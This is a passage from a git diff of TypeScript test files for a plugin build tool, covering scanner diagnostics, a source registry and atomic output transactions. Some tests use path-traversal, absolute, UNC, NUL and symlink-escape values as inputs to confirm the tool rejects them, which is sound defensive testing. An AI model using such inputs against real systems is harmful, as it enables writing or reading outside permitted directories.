['review'], agents: [] }, platforms: { codex: { model: 'fast' } } }], - skills: [{ id: 'review', invocation: { user: true, model: true }, auxiliary: [{ path: 'references/data.bin', mode: 0o755 }] }], - agents: [{ id: 'reviewer', model: 'capable', capabilities: ['filesystem:read', 'search'] }], - publicFiles: [{ targetPath: 'bin/tool', mode: 0o755 }], - }); - expect(validated).toEqual([{ - component: { kind: 'command', id: 'check', sourcePath: 'src/commands/check.md' }, - fields: { model: 'fast' }, - }]); - expect(Object.isFrozen(project.commands[0]!.platforms.codex)).toBe(true); - expect(Object.isFrozen(project)).toBe(true); - expect(Object.isFrozen(project.skills[0]!.auxiliaryFiles)).toBe(true); - expect(await fs.readFile(project.skills[0]!.auxiliaryFiles[0]!.sourcePath)).toEqual(Buffer.from(auxiliaryBytes)); - expect(await fs.readFile(project.publicFiles[0]!.sourcePath)).toEqual(Buffer.from(publicBytes)); - }); - - it('reports malformed documents, nesting, invocation, capability, and placeholder failures', async () => { - /** 同时包含多种独立结构错误的临时工程。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/commands/nested'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/skills/disabled'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/commands/broken.md'), '---\ndescription: [\n---\nBroken.\n'); - await fs.writeFile(path.join(root, 'src/commands/placeholder.md'), '---\ndescription: Placeholder.\n---\nUse {{ args }}.\n'); - await fs.writeFile(path.join(root, 'src/skills/disabled/SKILL.md'), '---\ndescription: Disabled.\ninvocation:\n user: false\n model: false\n---\nDisabled body.\n'); - await fs.writeFile(path.join(root, 'src/agents/unsafe.md'), '---\ndescription: Unsafe.\ncapabilities: [raw-tool]\n---\nUnsafe body.\n'); - - /** 一次扫描收集的全部结构诊断码。 */ - const diagnostics = new DiagnosticCollector(); - await scanProject(projectConfig(root), diagnostics); - /** 用于验证多类 Scanner 失败的诊断码列表。 */ - const codes = diagnostics.diagnostics.map(diagnostic => diagnostic.code); - - expect(codes).toEqual(expect.arrayContaining([ - 'COMMAND_ENTRY_INVALID', - 'FRONTMATTER_INVALID', - 'COMMAND_PLACEHOLDER_INVALID', - 'SKILL_INVOCATION_EMPTY', - 'AGENT_CAPABILITY_INVALID', - ])); - }); - - it('rejects string-array elements that are empty after trimming', async () => { - /** 依赖数组包含纯空白元素的临时规范工程。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/commands/blank-requirement.md'), `--- -description: Reject a blank dependency. -requires: - skills: - - ' ' ---- -Validate dependencies. -`); - /** Scanner 应在通用 string-array 边界报告一致诊断。 */ - const diagnostics = new DiagnosticCollector(); - await scanProject(projectConfig(root), diagnostics); - - expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ - code: 'FRONTMATTER_STRING_ARRAY', - fieldPath: ['requires', 'skills'], - })); - }); - - it('requires configured platforms, delegates field validation, and rejects legacy extensions', async () => { - /** Validator 会通过受限出口报告专属字段错误的 Codex Platform。 */ - const codex = testPlatform('codex', (context) => { - context.reportDiagnostic({ - code: 'CODEX_TIMEOUT_INVALID', - severity: 'error', - message: 'timeout must be positive.', - fieldPath: ['platforms', 'codex', 'timeout'], - }); - }); - /** 同时声明合法 Platform、未配置 Platform 和旧字段的工程。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/commands/deploy.md'), `--- -description: Deploy. -platforms: - codex: - timeout: -1 - ghost: - enabled: true -extensions: - codex: {} ---- -Deploy. -`); - - /** Platform 字段解析产生的聚合诊断。 */ - const diagnostics = new DiagnosticCollector(); - /** 即使存在字段诊断也保留有效 Component 的扫描结果。 */ - const { project } = await scanProject(projectConfig(root, { platforms: [codex] }), diagnostics); - - expect(diagnostics.diagnostics).toEqual(expect.arrayContaining([ - expect.objectContaining({ code: 'CODEX_TIMEOUT_INVALID', platform: 'codex', component: { kind: 'command', id: 'deploy' } }), - expect.objectContaining({ code: 'COMPONENT_PLATFORM_NOT_CONFIGURED', fieldPath: ['platforms', 'ghost'] }), - expect.objectContaining({ - code: 'COMPONENT_LEGACY_EXTENSIONS', - hint: expect.stringContaining('platforms: { \'claude-code\': {} }'), - }), - ])); - expect(project.commands[0]!.platforms).toEqual({ codex: { timeout: -1 } }); - }); - - it('reports non-empty Hooks and MCP sources when their Extensions are disabled', async () => { - /** 包含两个保留 Extension 来源目录的临时工程。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/hooks/a'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/mcp/b'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/hooks/a/hook.ts'), 'export default {}'); - await fs.writeFile(path.join(root, 'src/mcp/b/mcp.ts'), 'export default {}'); - - /** 未启用 Extension 时的目录所有权诊断。 */ - const diagnostics = new DiagnosticCollector(); - await scanProject(projectConfig(root), diagnostics); - expect(diagnostics.diagnostics.filter(diagnostic => diagnostic.code === 'EXTENSION_REQUIRED')).toHaveLength(2); - - /** 使用最终公开名称启用两个空 Extension 后不再报告目录所有权错误。 */ - const extensions = [ - defineExtension({ name: '@tokenroll/acplugin-extension-hooks', apiVersion: '1', adapters: [] }), - defineExtension({ name: '@tokenroll/acplugin-extension-mcp', apiVersion: '1', adapters: [] }), - ]; - /** 启用正式 Extension 名称后的扫描诊断。 */ - const enabledDiagnostics = new DiagnosticCollector(); - await scanProject(projectConfig(root, { extensions }), enabledDiagnostics); - expect(enabledDiagnostics.diagnostics.filter(diagnostic => diagnostic.code === 'EXTENSION_REQUIRED')).toEqual([]); - }); - - it('rejects invalid UTF-8 Markdown and colliding Public copy targets', async () => { - /** 使用显式 Public copy rule 制造大小写不敏感目标冲突的工程。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.mkdir(path.join(root, 'public/a'), { recursive: true }); - await fs.mkdir(path.join(root, 'public/b'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/commands/binary.md'), new Uint8Array([0xff, 0xfe])); - await fs.writeFile(path.join(root, 'public/a/file.txt'), 'a'); - await fs.writeFile(path.join(root, 'public/b/file.txt'), 'b'); - /** 两条规则的最终目标只在大小写上不同。 */ - const publicConfig = { - copy: [ - { from: 'a/file.txt', to: 'Shared/file.txt' }, - { from: 'b/file.txt', to: 'shared/file.txt' }, - ], - }; - - /** UTF-8 和 Public 目标安全诊断。 */ - const diagnostics = new DiagnosticCollector(); - await scanProject(projectConfig(root, { public: publicConfig }), diagnostics); - expect(diagnostics.diagnostics).toEqual(expect.arrayContaining([ - expect.objectContaining({ code: 'MARKDOWN_UTF8_INVALID' }), - expect.objectContaining({ code: 'PUBLIC_TARGET_COLLISION' }), - ])); - }); - - it('normalizes backslash Public targets and detects mixed-separator collisions', async () => { - /** 两个不同来源映射到仅分隔符写法不同的同一交付目标。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'public/a'), { recursive: true }); - await fs.mkdir(path.join(root, 'public/b'), { recursive: true }); - await fs.writeFile(path.join(root, 'public/a/file.txt'), 'a'); - await fs.writeFile(path.join(root, 'public/b/file.txt'), 'b'); - /** 分隔符不同但语义目标相同的最终配置。 */ - const config = projectConfig(root, { - public: { - copy: [ - { from: 'a/file.txt', to: 'assets\\file.txt' }, - { from: 'b/file.txt', to: 'assets/file.txt' }, - ], - }, - }); - - /** Config 已统一 target,Scanner 仍负责最终来源碰撞诊断。 */ - expect(config.public.copy?.[0]?.to).toBe('assets/file.txt'); - /** 混合分隔符碰撞的 Scanner 诊断。 */ - const diagnostics = new DiagnosticCollector(); - /** 只保留首个目标的规范工程。 */ - const { project } = await scanProject(config, diagnostics); - expect(project.publicFiles.map(file => file.targetPath)).toEqual(['assets/file.txt']); - expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ code: 'PUBLIC_TARGET_COLLISION' })); - }); - - it('defensively rejects absolute, NUL, and mixed traversal Public targets', async () => { - /** 构造绕过配置解析边界的 ResolvedConfig,验证 Scanner 自身仍不信任 target。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'public'), { recursive: true }); - await fs.writeFile(path.join(root, 'public/file.txt'), 'public'); - /** 先通过公开解析器取得其余字段合法的基础配置。 */ - const base = projectConfig(root, { public: { copy: [{ from: 'file.txt', to: 'safe/file.txt' }] } }); - /** 模拟绕过配置阶段后直接传入 Core 的不可信 target 集合。 */ - const config = { - ...base, - public: { - ...base.public, - copy: [ - { from: 'file.txt', to: 'C:\\outside\\file.txt' }, - { from: 'file.txt', to: 'C:/outside/file.txt' }, - { from: 'file.txt', to: '\\\\server\\share\\file.txt' }, - { from: 'file.txt', to: '/outside/file.txt' }, - { from: 'file.txt', to: 'safe\\../file.txt' }, - { from: 'file.txt', to: 'safe/\0/file.txt' }, - ], - }, - }; - - /** Scanner 自身产生的第二层路径边界诊断。 */ - const diagnostics = new DiagnosticCollector(); - /** 所有不可信 Public 目标都被排除后的规范工程。 */ - const { project } = await scanProject(config, diagnostics); - expect(project.publicFiles).toEqual([]); - expect(diagnostics.diagnostics.filter(diagnostic => diagnostic.code === 'PUBLIC_TARGET_INVALID')).toHaveLength(6); - }); - - it('does not follow a configured source directory symlink', async () => { - /** 工程外部目录模拟符号链接可能造成的来源边界逃逸。 */ - const external = await temporaryProject(); - await fs.mkdir(path.join(external, 'commands'), { recursive: true }); - await fs.writeFile(path.join(external, 'commands/leaked.md'), '---\ndescription: Leaked.\n---\nLeaked body.\n'); - /** 当前工程把 srcDir 指向外部目录的符号链接。 */ - const root = await temporaryProject(); - await fs.symlink(external, path.join(root, 'linked-src')); - - /** Scanner 应在读取任何外部 Component 前拒绝该来源根。 */ - const diagnostics = new DiagnosticCollector(); - /** 符号链接 srcDir 被拒绝后保持为空的规范工程。 */ - const { project } = await scanProject(projectConfig(root, { srcDir: 'linked-src' }), diagnostics); - expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ code: 'SOURCE_ROOT_SYMLINK' })); - expect(project.commands).toEqual([]); - }); -}); diff --git a/packages/core/test/source-registry.test.ts b/packages/core/test/source-registry.test.ts new file mode 100644 index 0000000..a90182c --- /dev/null +++ b/packages/core/test/source-registry.test.ts @@ -0,0 +1,191 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { SourcePathCollisionRegistry } from '../src/kernel/path-policy.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; + +/** Source Registry 测试创建的临时工程根。 */ +const roots: string[] = []; + +/** + * 创建包含 src/owned 的临时工程。 + * + * @returns 工程根和 Source root 绝对路径。 + */ +async function project(): Promise<{ readonly root: string; readonly sourceRoot: string }> { + /** 当前测试独占的工程根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-source-registry-')); + roots.push(root); + /** Extension 独占的作者来源根。 */ + const sourceRoot = path.join(root, 'src', 'owned'); + await fs.mkdir(path.join(sourceRoot, 'nested'), { recursive: true }); + await fs.writeFile(path.join(sourceRoot, 'alpha.ts'), 'export const alpha = 1;\n'); + await fs.writeFile(path.join(sourceRoot, 'nested', 'beta.ts'), 'export const beta = 2;\n'); + return { root, sourceRoot }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('SourceRegistry', () => { + it('issues safe refs, lists deterministically and reads exact source bytes', async () => { + /** 当前测试独占的临时工程。 */ + const fixture = await project(); + /** 本轮独占 capability scope。 */ + const scope = new BuildSessionScope(); + /** 当前工程唯一 Source Registry。 */ + const registry = new SourceRegistry(scope, fixture.root); + /** owner-scoped 根目录能力。 */ + const root = await registry.issueRoot('extension:owned', fixture.sourceRoot); + /** owner 无法填写或修改的闭包服务。 */ + const sources = registry.service('extension:owned'); + /** 递归列表必须使用工程相对路径而非绝对路径。 */ + const entries = await sources.list(root, { recursive: true }); + /** 非递归列表只能包含直接子项。 */ + const directEntries = await sources.list(root); + /** 从 root 精确签发的文件 ref。 */ + const alpha = await sources.file(root, 'alpha.ts'); + + expect(root.path).toBe('src/owned'); + expect(entries.map(entry => entry.path)).toEqual([ + 'src/owned/alpha.ts', + 'src/owned/nested', + 'src/owned/nested/beta.ts', + ]); + expect(directEntries.map(entry => entry.path)).toEqual(['src/owned/alpha.ts', 'src/owned/nested']); + expect(entries.every(entry => !path.isAbsolute(entry.path))).toBe(true); + expect(await sources.readText(alpha)).toBe('export const alpha = 1;\n'); + expect(Object.isFrozen(root)).toBe(true); + expect(Object.isFrozen(entries)).toBe(true); + }); + + it('rejects ambiguous paths, forged refs, cross-owner refs and expired sessions', async () => { + /** 当前测试独占的临时工程。 */ + const fixture = await project(); + /** 当前测试独占 capability scope。 */ + const scope = new BuildSessionScope(); + /** 当前工程唯一 Source Registry。 */ + const registry = new SourceRegistry(scope, fixture.root); + /** extension-a 的来源根。 */ + const root = await registry.issueRoot('extension:a', fixture.sourceRoot); + /** extension-a 的闭包服务。 */ + const owner = registry.service('extension:a'); + /** extension-b 不应得到 a 的 ref 权限。 */ + const other = registry.service('extension:b'); + /** 正式签发的文件 ref。 */ + const file = await owner.file(root, 'alpha.ts'); + /** 复制公共字段和 Symbol 也不在 Registry WeakMap 中。 */ + const forged = Object.freeze({ ...file }) as typeof file; + + for (const invalid of ['/absolute.ts', '../escape.ts', './dot.ts', 'nested//file.ts', 'nested\\file.ts']) + await expect(owner.file(root, invalid)).rejects.toThrow(); + await expect(owner.read(forged)).rejects.toThrow('not authorized'); + await expect(other.read(file)).rejects.toThrow('not authorized'); + scope.close(); + await expect(owner.read(file)).rejects.toThrow('no longer active'); + }); + + it('rejects author symlinks and source mutation into a symlink', async () => { + /** 当前测试独占的临时工程。 */ + const fixture = await project(); + /** 当前测试独占 capability scope。 */ + const scope = new BuildSessionScope(); + /** 当前工程唯一 Source Registry。 */ + const registry = new SourceRegistry(scope, fixture.root); + /** 合法作者来源根。 */ + const root = await registry.issueRoot('extension:owned', fixture.sourceRoot); + /** 当前 owner 的闭包服务。 */ + const sources = registry.service('extension:owned'); + /** 首次签发时仍为普通文件。 */ + const file = await sources.file(root, 'alpha.ts'); + /** 工程外目标用于验证 symlink 逃逸。 */ + const outside = path.join(fixture.root, 'outside.ts'); + await fs.writeFile(outside, 'secret\n'); + await fs.symlink(outside, path.join(fixture.sourceRoot, 'link.ts')); + + await expect(sources.list(root)).rejects.toThrow('symbolic links'); + await fs.rm(path.join(fixture.sourceRoot, 'alpha.ts')); + await fs.symlink(outside, path.join(fixture.sourceRoot, 'alpha.ts')); + await expect(sources.read(file)).rejects.toThrow('symbolic links'); + }); + + it('rejects ordinary content mutation after a FileRef was issued', async () => { + /** 当前测试独占的临时工程。 */ + const fixture = await project(); + /** 当前测试独占 capability scope。 */ + const scope = new BuildSessionScope(); + /** 当前工程唯一 Source Registry。 */ + const registry = new SourceRegistry(scope, fixture.root); + /** 当前 owner 的来源根和服务。 */ + const root = await registry.issueRoot('extension:owned', fixture.sourceRoot); + /** 当前 owner 的闭包 Source Service。 */ + const sources = registry.service('extension:owned'); + /** 内容修改前签发的 FileRef。 */ + const file = await sources.file(root, 'alpha.ts'); + await fs.writeFile(path.join(fixture.sourceRoot, 'alpha.ts'), 'export const alpha = 2;\n'); + + await expect(sources.read(file)).rejects.toThrow('changed after'); + }); + + it('rejects special files and enforces bounded strict UTF-8 reads', async () => { + if (process.platform === 'win32') + return; + /** 当前测试独占的临时工程。 */ + const fixture = await project(); + /** FIFO 路径用于验证非普通文件拒绝。 */ + const fifo = path.join(fixture.sourceRoot, 'pipe'); + /** 使用 mkfifo 创建不会被 readdir Dirent 误判为普通文件的 fixture。 */ + const { execFile } = await import('node:child_process'); + await new Promise((resolve, reject) => execFile('mkfifo', [fifo], error => error ? reject(error) : resolve())); + /** 无效 UTF-8 文件用于验证 fatal decoder。 */ + await fs.writeFile(path.join(fixture.sourceRoot, 'invalid.bin'), Uint8Array.of(0xC3, 0x28)); + /** 当前测试独占 capability scope。 */ + const scope = new BuildSessionScope(); + /** 当前工程唯一 Source Registry。 */ + const registry = new SourceRegistry(scope, fixture.root); + /** 合法作者来源根。 */ + const root = await registry.issueRoot('extension:owned', fixture.sourceRoot); + /** 当前 owner 的闭包服务。 */ + const sources = registry.service('extension:owned'); + /** 无效 UTF-8 文件仍可作为字节来源签发。 */ + const invalid = await sources.file(root, 'invalid.bin'); + + await expect(sources.list(root)).rejects.toThrow('regular files'); + await expect(sources.read(invalid, { maxBytes: 1 })).rejects.toThrow('read limit'); + await expect(sources.readText(invalid)).rejects.toThrow(); + }); + + it('detects exact, case-folded and Unicode NFC source collisions without locale rules', () => { + /** 独立 collision registry 能验证当前大小写敏感文件系统不易创建的 fixture。 */ + const collisions = new SourcePathCollisionRegistry(); + collisions.reserve('src/owned/Foo.ts', '/physical/Foo.ts'); + expect(() => collisions.reserve('src/owned/foo.ts', '/physical/foo.ts')).toThrow('collision'); + + /** 第二个 registry 隔离 Unicode 归一化场景。 */ + const unicode = new SourcePathCollisionRegistry(); + unicode.reserve('src/owned/caf\u00e9.ts', '/physical/composed.ts'); + expect(() => unicode.reserve('src/owned/cafe\u0301.ts', '/physical/decomposed.ts')).toThrow('collision'); + }); + + it('keeps dependency-manager symlinks outside author-source policy', async () => { + /** 当前测试独占的临时工程。 */ + const fixture = await project(); + /** 模拟 pnpm node_modules package link,但不把它登记成作者 root。 */ + const store = path.join(fixture.root, '.pnpm-store', 'package'); + await fs.mkdir(store, { recursive: true }); + await fs.writeFile(path.join(store, 'index.js'), 'export {};\n'); + await fs.mkdir(path.join(fixture.root, 'node_modules'), { recursive: true }); + await fs.symlink(store, path.join(fixture.root, 'node_modules', 'package')); + /** 当前测试独占 capability scope。 */ + const scope = new BuildSessionScope(); + /** Source Registry 只管理显式作者 root。 */ + const registry = new SourceRegistry(scope, fixture.root); + /** 作者 root 的签发和枚举不受工程其他位置依赖 symlink 影响。 */ + const root = await registry.issueRoot('extension:owned', fixture.sourceRoot); + + await expect(registry.service('extension:owned').list(root)).resolves.toEqual(expect.any(Array)); + }); +}); diff --git a/packages/core/test/transaction-v2.test.ts b/packages/core/test/transaction-v2.test.ts new file mode 100644 index 0000000..5cd27e6 --- /dev/null +++ b/packages/core/test/transaction-v2.test.ts @@ -0,0 +1,690 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type { PackageUnitSnapshot } from '../src/kernel-types.js'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import { commitPackageUnits, type ManagedOutputPhase } from '../src/transaction.js'; + +/** Transaction v2 测试统一清理的临时工程根。 */ +const roots: string[] = []; + +/** @returns 一个工程根和当前 BuildSession Asset Registry。 */ +async function fixture() { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-transaction-v2-')); + roots.push(root); + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work')); + const assets = new AssetRegistry(scope, sources, work); + return { root, assets }; +} + +/** @returns 指定 Platform/version 的主 Package Unit。 */ +async function unit(assets: AssetRegistry, platform: string, version: string): Promise { + /** 当前 Platform 签发自己的稳定版本 Asset。 */ + const asset = await assets.service(`platform:${platform}`).fromBytes({ + bytes: version, origin: { operation: 'version' }, + }); + return Object.freeze({ + platform, id: 'plugin', type: 'plugin', role: 'primary', + assets: Object.freeze([{ path: 'version.txt', owner: `platform:${platform}`, asset }]), + compatibility: Object.freeze([]), metadata: Object.freeze([]), + }); +} + +/** @returns 当前工程内的受管输出辅助文件。 */ +async function helpers(root: string): Promise { + return (await fs.readdir(root)) + .filter(name => name.startsWith('.dist.acplugin-') || name.startsWith('.dist.acplugin.lock')) + .sort(); +} + +/** 写入模拟进程崩溃后遗留的稳定事务 marker。 */ +async function transactionMarker(root: string, name: 'transaction' | 'committed', hadOutput: boolean): Promise { + await fs.writeFile(path.join(root, `.dist.acplugin-${name}.json`), `${JSON.stringify({ + schemaVersion: 2, + outDir: 'dist', + scope: 'full', + hadOutput, + })}\n`); +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Package Unit atomic transaction', () => { + it('preserves the previous complete output at every fault-injection phase', async () => { + const phases: readonly ManagedOutputPhase[] = [ + 'lock-acquired', 'recovery-complete', 'stage-materialized', 'stage-validated', + 'transaction-written', 'backup-created', 'output-swapped', + ]; + for (const phase of phases) { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'old'); + const packageUnit = await unit(current.assets, 'target', 'new'); + + await expect(commitPackageUnits(outDir, [packageUnit], current.assets, { + projectRoot: current.root, + onPhase(stage) { + if (stage === phase) + throw new Error(`fail at ${phase}`); + }, + })).rejects.toThrow(`fail at ${phase}`); + + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + expect(await helpers(current.root)).toEqual([]); + } + }); + + it('rolls back when atomic committed-marker publication fails', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'old'); + const packageUnit = await unit(current.assets, 'target', 'new'); + /** 只注入 committed marker,避免 lock/guard 的原子发布改变调用序号。 */ + const realLink = fs.link.bind(fs); + const link = vi.spyOn(fs, 'link').mockImplementation(async (existingPath, newPath) => { + if (String(newPath).endsWith('.dist.acplugin-committed.json')) + throw new Error('committed marker publication failed'); + await realLink(existingPath, newPath); + }); + try { + await expect(commitPackageUnits(outDir, [packageUnit], current.assets, { + projectRoot: current.root, + })).rejects.toThrow('committed marker publication failed'); + } finally { + link.mockRestore(); + } + + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + expect(await helpers(current.root)).toEqual([]); + }); + + it.each(['writeFile', 'sync'] as const)( + 'cleans a final lock draft when %s fails', + async (operation) => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const lock = path.join(current.root, '.dist.acplugin.lock'); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'old'); + const realOpen = fs.open.bind(fs); + let injected = false; + const open = vi.spyOn(fs, 'open').mockImplementation(async (file, flags, mode) => { + const handle = await realOpen(file, flags, mode); + const candidate = String(file); + if (!injected && candidate.startsWith(`${lock}.`) && candidate.endsWith('.writing') + && !candidate.startsWith(`${lock}.guard.`)) { + injected = true; + vi.spyOn(handle, operation).mockRejectedValueOnce(new Error(`lock ${operation} failed`)); + } + return handle; + }); + try { + await expect(commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root })) + .rejects.toThrow(`lock ${operation} failed`); + } finally { + open.mockRestore(); + } + + expect(injected).toBe(true); + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + expect(await helpers(current.root)).toEqual([]); + }, + ); + + it('retries a transient final lock close failure without leaking its handle or draft', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const lock = path.join(current.root, '.dist.acplugin.lock'); + const realOpen = fs.open.bind(fs); + let injected = false; + const open = vi.spyOn(fs, 'open').mockImplementation(async (file, flags, mode) => { + const handle = await realOpen(file, flags, mode); + const candidate = String(file); + if (!injected && candidate.startsWith(`${lock}.`) && candidate.endsWith('.writing') + && !candidate.startsWith(`${lock}.guard.`)) { + injected = true; + vi.spyOn(handle, 'close').mockRejectedValueOnce(new Error('lock close failed')); + } + return handle; + }); + try { + await commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root }); + } finally { + open.mockRestore(); + } + + expect(injected).toBe(true); + expect(await helpers(current.root)).toEqual([]); + }); + + it('cleans a final lock draft when atomic publication fails', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const lock = path.join(current.root, '.dist.acplugin.lock'); + const realLink = fs.link.bind(fs); + let injected = false; + const link = vi.spyOn(fs, 'link').mockImplementation(async (existingPath, newPath) => { + if (!injected && String(newPath) === lock) { + injected = true; + throw new Error('lock publication failed'); + } + await realLink(existingPath, newPath); + }); + try { + await expect(commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root })) + .rejects.toThrow('lock publication failed'); + } finally { + link.mockRestore(); + } + + expect(injected).toBe(true); + expect(await helpers(current.root)).toEqual([]); + }); + + it.each(['draft', 'record'] as const)( + 'retries a transient final lock %s removal failure', + async (target) => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const lock = path.join(current.root, '.dist.acplugin.lock'); + const realRm = fs.rm.bind(fs); + let injected = false; + const rm = vi.spyOn(fs, 'rm').mockImplementation(async (file, options) => { + const candidate = String(file); + const finalDraft = candidate.startsWith(`${lock}.`) && candidate.endsWith('.writing') + && !candidate.startsWith(`${lock}.guard.`); + if (!injected && (target === 'record' ? candidate === lock : finalDraft)) { + injected = true; + throw new Error(`lock ${target} remove failed`); + } + await realRm(file, options); + }); + try { + await commitPackageUnits(outDir, [], current.assets, { projectRoot: current.root }); + } finally { + rm.mockRestore(); + } + + expect(injected).toBe(true); + expect(await helpers(current.root)).toEqual([]); + }, + ); + + it('replaces the full configured output set atomically', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + await fs.mkdir(path.join(outDir, 'stale', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'stale', 'plugin', 'version.txt'), 'stale'); + + await commitPackageUnits(outDir, [await unit(current.assets, 'target', 'new')], current.assets, { + projectRoot: current.root, + scope: { type: 'full' }, + }); + + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('new'); + await expect(fs.access(path.join(outDir, 'stale'))).rejects.toThrow(); + if (process.platform !== 'win32') { + for (const directory of [outDir, path.join(outDir, 'target'), path.join(outDir, 'target', 'plugin')]) + expect((await fs.stat(directory)).mode & 0o777).toBe(0o755); + expect((await fs.stat(path.join(outDir, 'target', 'plugin', 'version.txt'))).mode & 0o777).toBe(0o644); + } + }); + + it('replaces an explicit subset while preserving validated unselected Platform bytes and mode', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + const preserved = path.join(outDir, 'other', 'plugin', 'bin', 'main.mjs'); + await fs.mkdir(path.dirname(preserved), { recursive: true }); + await fs.writeFile(preserved, 'old-other', { mode: 0o755 }); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'old-target'); + /** 旧输出的私有目录 mode 不得原样污染新的 subset stage。 */ + if (process.platform !== 'win32') { + for (const directory of [outDir, path.join(outDir, 'other'), path.join(outDir, 'other', 'plugin'), path.dirname(preserved), path.join(outDir, 'target'), path.join(outDir, 'target', 'plugin')]) + await fs.chmod(directory, 0o700); + } + + await commitPackageUnits(outDir, [await unit(current.assets, 'target', 'new-target')], current.assets, { + projectRoot: current.root, + scope: { type: 'subset', platforms: ['target'] }, + }); + + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('new-target'); + expect(await fs.readFile(preserved, 'utf8')).toBe('old-other'); + expect((await fs.stat(preserved)).mode & 0o777).toBe(0o755); + if (process.platform !== 'win32') { + for (const directory of [ + outDir, + path.join(outDir, 'other'), + path.join(outDir, 'other', 'plugin'), + path.dirname(preserved), + path.join(outDir, 'target'), + path.join(outDir, 'target', 'plugin'), + ]) expect((await fs.stat(directory)).mode & 0o777).toBe(0o755); + expect((await fs.stat(path.join(outDir, 'target', 'plugin', 'version.txt'))).mode & 0o777).toBe(0o644); + } + }); + + it('rejects a stage directory mode mutation before swap', async () => { + if (process.platform === 'win32') + return; + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + await fs.mkdir(path.join(outDir, 'target', 'plugin'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'old'); + + await expect(commitPackageUnits(outDir, [await unit(current.assets, 'target', 'new')], current.assets, { + projectRoot: current.root, + async onPhase(phase) { + if (phase !== 'stage-materialized') + return; + /** fault injection 只定位当前事务唯一 stage,不依赖随机 suffix。 */ + const stage = (await fs.readdir(current.root)).find(name => name.startsWith('.dist.acplugin-stage-'))!; + await fs.chmod(path.join(current.root, stage, 'target'), 0o700); + }, + })).rejects.toThrow('mode 0755'); + + expect(await fs.readFile(path.join(outDir, 'target', 'plugin', 'version.txt'), 'utf8')).toBe('old'); + expect(await helpers(current.root)).toEqual([]); + }); + + it('rejects unsafe subset trees and Platform set mismatches before swap', async () => { + const current = await fixture(); + const outDir = path.join(current.root, 'dist'); + await fs.mkdir(path.join(outDir, 'other', 'plugin'), { recursive: true }); + await fs.symlink(current.root, path.join(outDir, 'other', 'plugin', 'escape')); + const packageUnit = await unit(current.assets, 'target', 'new'); + + await expect(commitPackageUnits(outDir, [packageUnit], current.assets, { + projectRoot: current.root, scope: { type: 'subset', platforms: ['target'] }, + })).rejects.toThrow('symbolic link'); + await expect(commitPackageUnits(outDir, [packageUnit], current.assets, { + projectRoot: current.root, scope: { type: 'subset', platforms: 